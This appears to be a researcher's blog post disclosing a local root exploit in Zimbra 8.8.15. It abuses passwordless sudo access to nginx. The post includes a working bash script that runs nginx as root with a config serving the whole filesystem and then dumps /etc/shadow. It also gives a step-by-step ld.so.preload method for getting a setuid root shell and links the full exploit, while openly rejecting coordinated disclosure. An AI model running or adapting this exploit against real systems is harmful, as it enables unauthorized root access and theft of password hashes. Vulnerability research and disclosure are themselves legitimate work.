Zimbra “nginx” Local Root Exploit

Recently I decided to have a look at the somewhat popular email and collaboration platform, Zimbra, with the idea to go find some bugs in it.

I’m simply dropping these as full disclosure, because the Zimbra “disclosure policy” prohibits publication of exploit code, which is something I find incredibly disagreeable. I also find that “responsible” disclosure in general is a crock of shit that lets vendors bully researchers into silence.

Zimbra is largely a huge mess of Java webshit, so I decided to favour my sanity somewhat and not bother looking for remotes at that time. I plan to get around to finding a remote in it at some point.

Instead, given it is a huge pile of Java and other stuff, I decided to just assume you had code execution as the “zimbra” user (by exploiting some hole in the web services), and look for LPE (Local Privilege Escalation) bugs.

I downloaded and installed the latest version of Zimbra available from the vendors website – 8.8.15_GA (zcs-8.8.15_GA_3869.UBUNTU18_64.20190918004220.tgz – MD5: 3f967c2631df7c8bb157659e101648be), and got to work. The host platform I installed it on was an Ubuntu 18.04 virtual machine.

We go with the obvious: we check what we can run with “sudo”. Helpfully, there are a number of commands we can run with “sudo” and no password.

zimbra@zimbratest:~$ sudo -l
Matching Defaults entries for zimbra on zimbratest:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, !requiretty

User zimbra may run the following commands on zimbratest:
    (root) NOPASSWD: /opt/zimbra/libexec/zmstat-fd *
    (root) NOPASSWD: /opt/zimbra/libexec/zmunbound
    (root) NOPASSWD: /sbin/resolvconf *
    (root) NOPASSWD: /opt/zimbra/libexec/zmslapd
    (root) NOPASSWD: /opt/zimbra/common/sbin/postfix
    (root) NOPASSWD: /opt/zimbra/common/sbin/postalias
    (root) NOPASSWD: /opt/zimbra/common/sbin/qshape.pl
    (root) NOPASSWD: /opt/zimbra/common/sbin/postconf
    (root) NOPASSWD: /opt/zimbra/common/sbin/postsuper
    (root) NOPASSWD: /opt/zimbra/common/sbin/postcat
    (root) NOPASSWD: /opt/zimbra/libexec/zmqstat
    (root) NOPASSWD: /opt/zimbra/libexec/zmmtastatus
    (root) NOPASSWD: /opt/zimbra/common/sbin/amavis-mc
    (root) NOPASSWD: /opt/zimbra/common/sbin/nginx
    (root) NOPASSWD: /opt/zimbra/libexec/zmmailboxdmgr

Previously, there was a nice bug in zmstat-fd that permitted taking ownership of files and escalating to root that way, but at some point that bug was killed. I suspect there are further bugs in that file, however, its written in Perl, and I was looking for an easy win.

Luckily, we spot a nice, easy win. We can run nginx as root, with whatever configuration file we want to feed it.

Immediately, we try something simple. We write a little config to let us read the whole entire filesystem and dump the shadow file.

Exploit code:

#!/bin/bash
echo "[+] making config"
cat <<EOF >/tmp/nginx.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
server {
	listen 1337;
	root /;
	autoindex on;
}
}
EOF
echo "[+] Launching..."
sudo /opt/zimbra/common/sbin/nginx -c /tmp/nginx.conf
echo "[+] Reading /etc/shadow..."
curl http://localhost:1337/etc/shadow

And the screenshot:

Now, this is cool and all, but I want code execution. Cracking a hash is time consuming, etc.

After faffing about reading the docs a bit, I came up with a delightfully inelegant solution, that I will outline below.

It relies on the fact that the Linux dynamic linker is very, very permissive when it parses the /etc/ld.so.preload file, and will accept any garbage as long as there is a string in there, separated with spaces, containing a valid library to load. I’ve used this method before a number of times, its a good friend of mine.

  1. Drop a setuid(0);execve("/bin/sh"...) rootshell to disk.
  2. Drop a library containing a constructor that does chown/chmod on said rootshell binary, along with unlinking /etc/ld.so.preload.
  3. Write an nginx config that runs as root, and has the error log set to /etc/ld.so.preload.
  4. Run nginx with our config file, using sudo.
  5. Request a URL containing some whitespace, and the path to our library file a couple of times. This will ensure that the string containing our library-path gets written out to the error log.
  6. Call sudo, or any setuid binary really, to trigger some library loading as root and get our root shell created.
  7. Run our root shell.

It is a bit messy, might cause some temporary system instability, but it is extremely fast, reliable and works. I built in some cleanup stuff, however be warned – this does kind of break the whole Zimbra application due to it taking out nginx temporarily. You can, of course, fix this by relaunching nginx with the correct configuration file.

Here is a screenshot of it running. As you can see, ld.so complains a bunch before finding something it wants to load.

You can find the exploit code at: https://github.com/darrenmartyn/zimbra-hinginx

This isn’t the only LPE I found in Zimbra, in a couple of days I’ll publish another one that is even neater than this one, much more stable, doesn’t make the dynamic linker cry so much, etc.

%d bloggers like this: